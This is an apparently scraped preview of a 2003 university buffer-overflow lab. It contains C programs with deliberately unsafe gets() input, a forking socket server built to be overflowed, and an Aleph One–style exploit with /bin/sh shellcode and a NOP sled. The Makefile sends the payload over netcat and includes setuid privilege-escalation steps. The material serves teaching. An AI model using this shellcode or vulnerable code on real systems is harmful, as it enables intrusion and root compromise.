Buffer Overflow Exploitation in C Programming, Lab Reports of Electrical and Electronics Engineering

A c program that demonstrates buffer overflow exploitation by injecting shellcode into a buffer and executing it. It includes functions to display stack information, inspect buffer content, and handle socket connections for remote code execution. The program also contains a makefile for compilation and execution.

Typology: Lab Reports

Pre 2010

Uploaded on 08/05/2009

koofers-user-uh7
koofers-user-uh7 šŸ‡ŗšŸ‡ø

10 documents

1 / 18

Toggle sidebar

This page cannot be seen from the preview

Don't miss anything!

bg1
1
Appendix B Lab Part III Programs
/* File: adjacent.c
*
* Author: Amul Shah
* Class: ECE 4883
* Lab: Bufferoverflow Lab
* 2003.02.02
* Purpose: see README
*
*/
#include "stackinfo.h"
#define BUFFER_SIZE 16
int main(int argc, char *argv[])
{ // Position relative to frame pointer (%bp)
char storeddata[BUFFER_SIZE]; // first
char userinput[BUFFER_SIZE]; // second
int i; // third
char c; // fourth
bzero( userinput, BUFFER_SIZE); // unconditionally zero out data,
otherwise
bzero( storeddata, BUFFER_SIZE);// you might find something in the
buffers!
// store a null terminate 16 character string
// last character must be NULL, '\0', to terminate
// for all normal string operations. Without a null,
// you will have a buffer over-run.
strcpy ( storeddata, "abcdefghijkl\0");
// view buffer contents
printf("Input:%s(%d), Stored:%s(%d)\n", userinput,
strlen(userinput), storeddata, strlen(storeddata) );
/*
Most string operations require the presence of a NULL character,
'\0', to terminate (indicate the end of a string). As a result
most overflows occur as a result of checking for NULL termination
rather than the bound of the buffer.
Buffer over-runs however are different. The idea is simple. When
a string, a character buffer/array, is not NULL terminated, normal
string functions will read past the end of the buffer searching for
NULL character.
You will see that this example does not allow the user to input
more
than the size of the array, 16. Logically it is correct. See what
pf3
pf4
pf5
pf8
pf9
pfa
pfd
pfe
pff
pf12

Partial preview of the text

Download Buffer Overflow Exploitation in C Programming and more Lab Reports Electrical and Electronics Engineering in PDF only on Docsity!

Appendix B Lab Part III Programs

/* File: adjacent.c

  • Author: Amul Shah
  • Class: ECE 4883
  • Lab: Bufferoverflow Lab
  • 2003.02.
  • Purpose: see README

*/

#include "stackinfo.h"

#define BUFFER_SIZE 16

int main(int argc, char *argv[]) { // Position relative to frame pointer (%bp) char storeddata[BUFFER_SIZE]; // first char userinput[BUFFER_SIZE]; // second int i; // third char c; // fourth

bzero( userinput, BUFFER_SIZE); // unconditionally zero out data, otherwise bzero( storeddata, BUFFER_SIZE);// you might find something in the buffers!

// store a null terminate 16 character string // last character must be NULL, '\0', to terminate // for all normal string operations. Without a null, // you will have a buffer over-run. strcpy ( storeddata, "abcdefghijkl\0");

// view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) );

Most string operations require the presence of a NULL character, '\0', to terminate (indicate the end of a string). As a result most overflows occur as a result of checking for NULL termination rather than the bound of the buffer.

Buffer over-runs however are different. The idea is simple. When a string, a character buffer/array, is not NULL terminated, normal string functions will read past the end of the buffer searching for NULL character.

You will see that this example does not allow the user to input more than the size of the array, 16. Logically it is correct. See what

happens when you input < 16 characters and when you input 16 or more characters (not including the newline or carraige return) */ printf("please input a 16 character string:\n"); for ( i = 0; i < BUFFER_SIZE; i++) {

c = getchar();

if ( c == '\n' || c == '\r') // treat a newline or carraige return { // as the end of the string and append c = '\0'; // a NULL character. This really is not break; // necessary since the remainder of the } // string has been set to zero by bzero

userinput[i] = c;

// view buffer contents printf("Input: %s(%d), Stored: %s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) );

// What are your results? }

#include "stackinfo.h"

void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret;

strcpy ( buffer1, "\x90\x90\x90\x90\x90\x90\x90\0");

SHOW_STACK

ret = buffer1 + 28; printf("buffer1:%x, buffer2:%x, &ret:%x, ret:%x->[%x]\n", buffer1, buffer2, &ret, ret, ret); (ret) += 10; SHOW_STACK_EX }

void main() { int x;

SHOW_STACK

printf("\n\n");

x = 0; function(1,2,3); x = 1; printf("%d\n",x); }

[root@localhost lab]# ./example Stack:bffff750, Frame:bffff758[bffff798], Next Instruction:bffff75c[40041507]

Stack:bffff700, Frame:bffff738[bffff758], Next Instruction:bffff73c[8048a92] buffer1:bffff720, buffer2:bffff710, &ret:bffff70c, ret:bffff73c- >[8048a92] Stack:bffff700, Frame:bffff738[bffff758], Next Instruction:bffff73c[8048a9c] 4015b154, 8048c60, 8048a6a, bffff744, 909090, 90909090, 40084d2c 8048a9c, 1, 2, 3, 80484b1, 8049d10, 0 0 [root@localhost lab]# */

/* File: exploit.c (a.k.a exploit3.c)

  • Author: Aleph
  • Editor: Amul Shah
  • Class: ECE 4883
  • Lab: Bufferoverflow Lab
  • 2003.02.
  • Purpose: see README

*/

#include

#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp () { asm("movl %esp,%eax"); }

int main(int argc, char *argv[]) { char *buffer, // buffer containing the exploit *byte_ptr; // pointer to a CHAR (1 byte)

long *long_ptr, // pointer to a LONG or INT ( byte step) mem_addr; // offset from LOCAL stack pointer

int offset = DEFAULT_OFFSET, // offset targetting the NOP sled buffer_size = DEFAULT_BUFFER_SIZE;// size of overflow buffer

int i; // iterator for the FOR loops

// if available get the user defined size of the buffer if (argc > 1) { buffer_size = atoi(argv[1]); }

// if available get the user set offset from the stack pointer // requires that the user entered a size if (argc > 2) { offset = atoi(argv[2]); }

// allocate space for the buffer if ( !(buffer = malloc(buffer_size)) ) {

Stage THREE: Insert the shellcode / / tricky! Think about this in steps: byte_ptr = buffer; // point byte_ptr to the begining buffer byte_ptr += (buffer_size / 2); // move byte_ptr to the middle buffer byte_ptr -= (strlen(shellcode) / 2);// move byte_ptr back 1/2 of shellcode len */ byte_ptr = buffer + ( ( buffer_size / 2 ) - ( strlen(shellcode) / 2 ) ); for (i = 0; i < strlen(shellcode); i++) { *(byte_ptr++) = shellcode[i]; }

Buffer Diagram (not to scale)

|NNNN|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| addr| */

Stage FOUR: Terminate the buffer with a NULL, '\0', character */ buffer [ buffer_size - 1 ] = '\0';

Buffer Diagram (not to scale)

|NNNN|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| add_| */

// pre-pend "EGG=" so that the buffer can be put into and environment variable memcpy(buffer,"EGG=",4);

/* Buffer Diagram (not to scale) |EGG=|NNNN|NNNN|NNNN|NNNN|NNNS|HELL|CODE|addr|addr|addr|addr|addr|addr| add_| */ // store the environment variable putenv(buffer); // open a new shell with the environment variable EGG set system("bash");

return 0; }

/* File: input.c

  • Author: Amul Shah
  • Class: ECE 4883
  • Lab: Bufferoverflow Lab
  • 2003.02.
  • Purpose: see README */ #include "stackinfo.h" #define BUFFER_SIZE 16

int main(int argc, char *argv[]) { // Position relative to frame pointer (%bp) char paddington[480]; // char storeddata[BUFFER_SIZE]; // first char userinput[BUFFER_SIZE]; // second

printf("Inspect environment variables\n"); inspect_buffer ( (void *)getenv("EGG") , 0 );

SHOW_STACK

bzero( userinput, BUFFER_SIZE); // unconditionally zero out data, otherwise bzero( storeddata, BUFFER_SIZE);// you might find something in the buffers!

// store a null terminated 12 character string // last character must be NULL, '\0', to terminate // for all normal string operations. Without a null, // you will have a buffer over-run. strcpy ( storeddata, "1234567890a\0");

/*view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) ); / / Most string operations require the presence of a NULL character, '\0', to terminate (indicate the end of a string). As a result most overflows occur as a result of checking for NULL termination rather than the bound of the buffer.

In this case, the standard C library function call "gets" looks for a newline or NULL character to stop writing to the buffer. */ printf("please input a 16 character string:\n"); gets(userinput);

/* view buffer contents printf("Input:%s(%d), Stored:%s(%d)\n", userinput, strlen(userinput), storeddata, strlen(storeddata) ); */ printf("Inspect stack variables\n"); inspect_buffer ( (void *) userinput, 0 );

SHOW_STACK

// bind the socket to a well-known port if (bind(sockfd, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) != 0) { perror("can't bind to socket"); exit(-1); } else { fprintf(stdout, "port %d is bound \n", ntohs(serveraddr.sin_port)); }

if (listen(sockfd, 128) < 0) { perror("listen"); exit(-1); } else { fprintf(stdout, "server has begun listening \n"); }

  • This server waits until a new connection comes in.
  • It then fork()s and lets its child handle the incoming
  • requests.
  • The parent goes back and waits to accept new connections. */ clientaddrlength = sizeof(clientaddr); while ( (newsockfd = accept(sockfd, (struct sockaddr *) &clientaddr, &clientaddrlength)) >= 0) {

/* Fork a child to handle the connection. */ pid = fork(); if (pid < 0) { perror("fork"); exit(-1); } else if (pid == 0) { // child close(sockfd); svcHandle(newsockfd); exit(EXIT_SUCCESS); } else { // parent close(newsockfd); } }

// reach here only on an accept error perror("accept");

exit(-1); }

void svcHandle(int sockfd) { char paddington[HALFK]; char userinput[BUFFER_SIZE];

if ( (dup2( sockfd, STDOUT_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; }

if ( (dup2( sockfd, STDIN_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; }

bzero( userinput, BUFFER_SIZE);

printf( "1- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "please input a 16 character string:\n");

SHOW_STACK

gets( userinput);

SHOW_STACK

inspect_buffer( (void *) userinput, 0 );

// printf( "2- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "2- Input:(%d)\n", strlen(userinput));

: "=r" (framePtr) );

  • We know that the frame pointer points to the previous frame
  • pointer save on the stack. The return instruction pointer is
  • ALWAYS saved just "above" the saved frame pointer. So adding
  • 1 to the offset of the frame pointer (point to a memory address
  • 4 bytes greater; 1 = 4 bytes with INTs) you find the memory
  • address of the return instruction pointer.

nextInstructionPtr = framePtr+1;

  • Print the contents found. Note: dereference nextInstructionPtr

printf ("Stack:%x, Frame:%x[%x], Next Instruction:%x[%x]\n", stackPtr, framePtr, *framePtr, nextInstructionPtr, *nextInstructionPtr);

  • Question:
  • Why use global variables?
  • Answer:
  • The global variables will not impact the local stack declared
  • variable locations. */

//// Inspect the buffer ////////////////////////////////// //////////////////////////////////////////////////////////

// This function was built to read overflowed buffers that // have stack smaching code akin to that found in "Smashing // the stack for fun and profit." void inspect_buffer(void *buffer, int printextra) { int *redirect_ptr, // Point to the buffer as an int array offset, // The offset used in the attack

nop_begin, // Offset of NOP sled nop_end, // end of NOP sled + first instruction

addr_begin, // addr_end; //

char nop = (char) 0x90, // NOP character *code_ptr; // character typed pointer of the array

int i, length;

if ( printextra ) { printf("Print Buffer\n"); length = strlen ( (char *) buffer ) / 4; for ( i =0; i < length; i++ ) {

if ( i%8 == 0 ) printf ("\n"); printf("%x ", ((int *) buffer)[i]); } printf("\n"); }

redirect_ptr = (int*) buffer; // Point to the begining of the array code_ptr = (char *) buffer; offset = *redirect_ptr; // You can grab the offset value from the // 0th element of the array

// do we start with the NOP sled? if ( nop == *code_ptr ) // YES { nop_begin = (int) code_ptr;

// loop through the NOP sled until you hit the first non-NOP // the beginning of the buffer to the code_ptr's position is // the length of the NOP sled which you are hoping to land in. while ( nop == *(code_ptr++) ); nop_end = (int) code_ptr; printf("\tTargetting range %x to %x\t\t[%d byte range]\n", nop_begin, nop_end, nop_end - nop_begin - 1);

if ( printextra ) { printf("Print NOP sled\n"); length = (nop_end - nop_begin)/4 + (nop_begin - nop_end)%4; for ( i =0; i < length; i++ ) { if ( i%8 == 0 ) printf ("\n"); printf("%x ", ((int *) buffer)[i]); } printf("\n"); }

CONCEPT since you use the code_ptr to find the end of the NOP sled, the pointer now points to the code segment. Which leaves you without the offset value and the memory range where the offset is written to the stack. To get the range and value of the offset, you must realize that there is no spoon. ;) The shellcode segment is not constant. Therefore, you want to loop until you have found the first memory location that has the same value consecutively. */ // first you must byte align the integer pointer redirect_ptr = code_ptr - ( nop_end - nop_begin )%4;

if ( printextra ) {

////////// IGNORE THIS MACRO /////////////////////////////////////////

// it's just a hack to let me look above and below the frame pointer// //////////////////////////////////////////////////////////////////////

#define SHOW_STACK_EX asm("movl %%esp, %0" : "=r" (stackPtr) ); asm("movl %%ebp, %0" : "=r" (framePtr) ); nextInstructionPtr = framePtr+1; printf ("Stack:%x, Frame:%x[%x], Next Instruction:%x[%x]\n", stackPtr, framePtr, *framePtr, nextInstructionPtr, *nextInstructionPtr); printf ("%x, %x, %x, %x, %x, %x, %x\n", *(framePtr-1), *(framePtr-2), *(framePtr-3), *(framePtr-4), *(framePtr-5), *(framePtr-6), *(framePtr- 7)); printf ("%x, %x, %x, %x, %x, %x, %x\n", *(framePtr+1), *(framePtr+2), *(framePtr+3), *(framePtr+4), *(framePtr+5), *(framePtr+6), *(framePtr+7));

File: Makefile

Author: Amul Shah ([email protected])

Class: ECE 4883

Lab: Bufferoverflow Lab

2003.02.

Purpose: see README

CC = gcc CFLAGS = -g LIBS = TARGETS = remote cmdline input adjacent exploit example

#TARGET BUILDS

all: $(TARGETS)

#CLASS WORK

(echo $EGG;cat) | nc localhost 4200

(echo "1234567890abcdefg";cat) | nc localhost 4200

remote: remote.c stackinfo.h $(CC) $(CFLAGS) remote.c -o remote $(LIBS)

./cmdline $EGG

cmdline: cmdline.c stackinfo.h $(CC) $(CFLAGS) cmdline.c -o cmdline $(LIBS)

#(echo $EGG;cat) | ./input input: input.c stackinfo.h $(CC) $(CFLAGS) input.c -o input $(LIBS)

adjacent: adjacent.c stackinfo.h $(CC) $(CFLAGS) adjacent.c -o adjacent $(LIBS)

exploit: exploit.c stackinfo.h $(CC) $(CFLAGS) exploit.c -o exploit $(LIBS)

example3: example3_explained.c stackinfo.h $(CC) $(CFLAGS) example3_explained.c -o example3 $(LIBS)

#PRIVILEGE ESCALATION

user: useradd molari; passwd molari

chmod: chmod 000 touch

chown: chown molari:molari touch

setuid: chmod 4755 touch